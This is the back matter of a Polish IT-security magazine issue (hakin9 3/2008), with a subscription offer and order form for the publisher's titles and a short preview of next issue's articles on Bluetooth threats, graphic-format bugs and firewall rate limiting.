w obrębie Twojej firmy

Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238

W ramach prenumeraty korporacyjnej otrzymają Państwo: 

1. Pismo w wersji elektronicznej

2. Dwa dodatkowe egzemplarze w wersji drukowanej

3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku

background image

Zaprenumeruj swoje ulubione magazyny 

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia 
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 244 24 59 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: 

(22) 427 36 79 

Imię i nazwisko............................................................................................  ID kontrahenta..........................................................................................

Nazwa firmy.................................................................................................     Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

Zamówienie prenumeraty

1

 Cena prenumeraty rocznej dla osób prywatnych 

2

 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

 W lipcu i sierpniu ukazuje się jeden wakacyjny numer

  Jeżeli chcesz zapłacić kartą kredytową, wejdź na 

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Tytuł

Ilość 

numerów

Ilość 

zamawianych 

prenumerat

Od numeru 

pisma lub 

miesiąca 

Opłata 

w zł 

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

 (od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

11

3

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9 - jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

11

3

199

1

/219

.psd (2 płyty CD)

Miesięcznik użytkowników programu Adobe Photoshop

11

3

199

.psd numery specjalne 

(.psd Extra + .psd Starter Kit)

 6

140

3DFX

Dwumiesięcznik miłośników grafiki trójwymiarowej

6

140

Suma

background image

hakin9 Nr 3/2008

www.hakin9.org

82

Aktualne informacje o najbliższym numerze 

http://www.hakin9.org/pl
Numer w sprzedaży na początku kwietnia 2008 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

               

 4/2008 

w następnym numerze między 

innymi:

Zapowiedzi

Zagrożenia płynące z używania Bluetooth’a

Bluetooth jest sukcesorem takich interfejsów, jak IRDA czy FastIRDA. Arty-
kuł Mariana Witkowskieg opisuje jakie zagrożenia niesie ze sobą nieumiejęt-
ne korzystanie z tej technologii.

Formaty graficzne 

z punktu widzenia bughuntera 

W  tym  numerze  Michał  Składnikiewicz  podją  temat  błędów  w  aplikacjach 
korzystających z formatu BMP. W następnym miesiącu zajmie się kolejnymi 
formatami graficznymi.

Hashlimit

Jednym ze znakomitych sposobów dozbrajania oraz poszerzania funkcjo-
nalności firewalla, jest korzystanie z łatki hashlimit. Oferowane przez nią 
możliwości są ograniczone jedynie wyobraźnią administratora. Opisane w 
artykule rozwiązania będą przedstawiane oraz testowane w rzeczywistym 
środowisku, które obsługuje sieć na parę tysięcy klientów z dostępem do 
Internetu (lokalny ISP). Konfigurować będziemy główny router a zarazem 
firewall,  który  kontroluje  ruch  internetowy  indywidualnych  klientów  oraz 
serwera usługowego z zainstalowanymi usługami WWW/FTP/mail/DNS/
SSH i Verlihub.

NA CD:

•   hakin9.live – bootowalna dystrybucja Linuksa,
•   mnóstwo narzędzi – niezbędnik hakera,
•   tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
•   dodatkowa dokumentacja,
•   pełne wersje komercyjnych aplikacji.

Atak

Obrona

background image
background image